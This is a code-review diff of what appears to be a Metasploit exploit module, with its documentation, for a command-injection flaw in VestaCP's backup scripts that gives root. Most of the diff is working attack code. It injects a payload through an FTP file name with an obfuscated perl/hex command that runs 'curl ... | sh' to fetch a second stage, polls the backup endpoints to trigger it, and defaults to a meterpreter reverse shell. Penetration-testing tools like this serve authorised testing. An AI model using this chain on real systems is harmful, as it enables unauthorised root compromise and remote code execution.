Fixed reviews suggestions

documentation/modules/exploit/linux/http/vestacp_exec.md

@@ -1,7 +1,7 @@
 ## Vulnerable Application
 This module exploits command injection vulnerability in v-list-user-backups bash script file. Low privileged authenticated users can execute arbitrary commands under the context of the root user.
 
-An authenticated attacker with a low privileges can inject a payload in the file name starts with dot. During the user backup process, this file name will be evaluated by the v-user-backup bash scripts. As result of that backup process, when an attacker try to list existing backups injected payload will be executed.
+An authenticated attacker with a low privileges can inject a payload in the file name starts with dot. During the user backup process, this file name will be evaluated by the v-backup-user bash scripts. As result of that backup process, when an attacker try to list existing backups injected payload will be executed.
 
 ## Vulnerable Application Installation Steps
 
@@ -37,13 +37,12 @@ A successful check of the exploit will look like this:
 9. **Verify** that you are seeing `First stage is executed ! Sending 2nd stage of the payload` in console.
 15. **Verify** that you are getting meterpreter session.
 
-## Scenarios
+## Ubuntu 18.04 LTS with VestaCP 0.9.26
 
 ```
 msf5 > use exploit/linux/http/vestacp_exec 
 msf5 exploit(linux/http/vestacp_exec) > set RHOSTS 192.168.74.218
 RHOSTS => 192.168.74.218
-(reverse-i-search)`': set Interrupt: use the 'exit' command to quit
 msf5 exploit(linux/http/vestacp_exec) > set USERNAME user11
 USERNAME => user11
 msf5 exploit(linux/http/vestacp_exec) > set PASSWORD qwe123

modules/exploits/linux/http/vestacp_exec.rb

@@ -18,7 +18,7 @@ def initialize(info={})
         Low privileged authenticated users can execute arbitrary commands under the context of the root user.
 
         An authenticated attacker with a low privileges can inject a payload in the file name starts with dot.
-        During the user backup process, this file name will be evaluated by the v-user-backup bash scripts. As
+        During the user backup process, this file name will be evaluated by the v-backup-user bash scripts. As
         result of that backup process, when an attacker try to list existing backups injected payload will be
         executed.
       },
@@ -35,7 +35,6 @@ def initialize(info={})
       'DefaultOptions'  =>
         {
           'SSL' => true,
-          'RPORT' => 8083,
           'WfsDelay' => 300,
           'Payload' => 'python/meterpreter/reverse_tcp'
         },
@@ -81,7 +80,7 @@ def login
       @cookie = res.get_cookies
       @csrf_token = res.body.scan(/<input type="hidden" name="token" value="(.*)">/).flatten[0] || ''
       if @csrf_token.empty?
-        fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.')
+        fail_with(Failure::UnexpectedReply, 'There is no CSRF token at HTTP response.')
       end
     else
       fail_with(Failure::Unknown, 'Something went wrong.')
@@ -104,52 +103,61 @@ def login
       print_good('Successfully authenticated to the HTTP Service')
       @cookie = res.get_cookies
     else
-      fail_with(Failure::Unknown, 'Credentials are not valid.')
+      fail_with(Failure::NoAccess, 'Credentials are not valid.')
     end
   end
 
-  def is_scheduled_backup_running
-    res = trigger_scheduled_backup
+  def start_backup_and_trigger_payload
     #
-    # MORE explaination.
+    # Once a scheduled backup process is being triggered, v-backup-user script will be executed.
     #
-    if res && res.code == 302
-      res = trigger_payload
-      if res.body.include?('An existing backup is already running. Please wait for that backup to finish.')
-        return true
+    # One of the thing that v-backup-user is doing is that creates a backup.conf file by using file names from user home folder.
+    # When the backup process is done, we have our payload in the backup.conf file. After that we can trigger the payload via /list/backup endpoint
+    # by using trigger_payload method. In order to do it, backup process must be finished !
+    #
+    # You will be seeing 'An existing backup is already running' in the response until it finish its job.
+    #
+
+    print_status('Starting scheduled backup. Exploitation may take up to 5 minutes.')
+
+    is_scheduled_backup_running = true
+
+    while is_scheduled_backup_running
+
+      # Trigger the scheduled backup process
+      res = send_request_cgi({
+        'method' => 'GET',
+        'cookie' => @cookie,
+        'uri' => normalize_uri(target_uri.path, 'schedule', 'backup', '/'),
+      })
+
+      if res && res.code == 302 && res.headers['Location'] =~ /\/list\/backup\//
+        # Due to the bug in send_request_cgi! we are manually redirect ourselves !
+        res = send_request_cgi({
+          'method' => 'GET',
+          'cookie' => @cookie,
+          'uri' => normalize_uri(target_uri.path, 'list', 'backup', '/'),
+        })
+        if res && res.code == 200
+          if res.body.include?('An existing backup is already running. Please wait for that backup to finish.')
+            # We must wait the backup process finish its job !
+            print_status('It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...')
+            sleep(30)
+          elsif res.body.include?('Task has been added to the queue.')
+            # Backup process is being initiated
+            print_good('Scheduled backup has been started ! ')
+          else
+            fail_with(Failure::UnexpectedReply, 'Something went wrong.')
+          end
+        else
+          # Web server cant reply to the request within given timeout window because of payload the execution in the background !
+          # That means we dont have res obj due to timeout, which means our payload executed !
+          print_good('It seems scheduled backup is done ..! Triggering the payload <3')
+          is_scheduled_backup_running = false
+        end
       else
-        print_good('It seems scheduled backup is done ..! Triggerring payload <3')
-        return false
+        fail_with(Failure::UnexpectedReply, 'Something went wrong...')
       end
-    else
-      fail_with(Failure::Unknown, 'Something went wrong. Did you get your session ?')
-    end
-    return false
-  end
-
-  def trigger_payload
-    res = send_request_cgi({
-      'method' => 'GET',
-      'cookie' => @cookie,
-      'uri' => normalize_uri(target_uri.path, 'list', 'backup', '/'),
-    })
-    if res && res.code == 200
-      res
-    else
-      fail_with(Failure::Unknown, 'Something went wrong. Maybe session timed out ?')
-    end
-  end
-
-  def trigger_scheduled_backup
-    res = send_request_cgi({
-      'method' => 'GET',
-      'cookie' => @cookie,
-      'uri' => normalize_uri(target_uri.path, 'schedule', 'backup', '/'),
-    })
-    if res && res.code == 302 && res.headers['Location'] =~ /\/list\/backup\//
-      res
-    else
-      fail_with(Failure::Unknown, 'Something went wrong.')
     end
   end
 
@@ -164,7 +172,6 @@ def payload_implant
     #
     final_payload = "curl -sSL #{@second_stage_url} | sh".to_s.unpack("H*").first
     p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"
-
     # Yet another datastore variable overriding.
     if datastore['SSL']
       ssl_restore = true
@@ -180,15 +187,15 @@ def payload_implant
     # Implanting the very first stage of payload as a empty file.
     #
     if (not connect_login)
-      fail_with(Failure::Unknown, 'Unable to authenticate to FTP service')
+      fail_with(Failure::NoAccess, 'Unable to authenticate to FTP service')
     end
     print_good('Successfully authenticated to the FTP service')
 
     res = send_cmd_data(['PUT', ".a';$(#{p});'"], "")
     if res.nil?
       fail_with(Failure::UnexpectedReply, "Failed to upload the payload to FTP server")
     end
-    print_good('Successfully uploaded the payload as a file name')
+    print_good('The file with the payload in the file name has been successfully uploaded.')
     disconnect
 
     # Revert datastore variables.
@@ -200,12 +207,7 @@ def exploit
     start_http_server
     payload_implant
     login
-    trigger_scheduled_backup
-    print_good('Scheduled backup has ben started. Exploitation may take up to 5 minutes.')
-    while is_scheduled_backup_running == true
-      print_status('It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...')
-      Rex.sleep(30)
-    end
+    start_backup_and_trigger_payload
     stop_service
   end
 
@@ -231,7 +233,7 @@ def start_http_server
         'Path' => resource_uri
     }})
     print_status("Second payload download URI is #{get_uri}")
-    # We need that global variable since get_uri keep using SSL from datastore
+    # We need that instance variable since get_uri keep using SSL from datastore
     # We have to get the URI before restoring the SSL.
     @second_stage_url = get_uri
     datastore['SSL'] = true if ssl_restore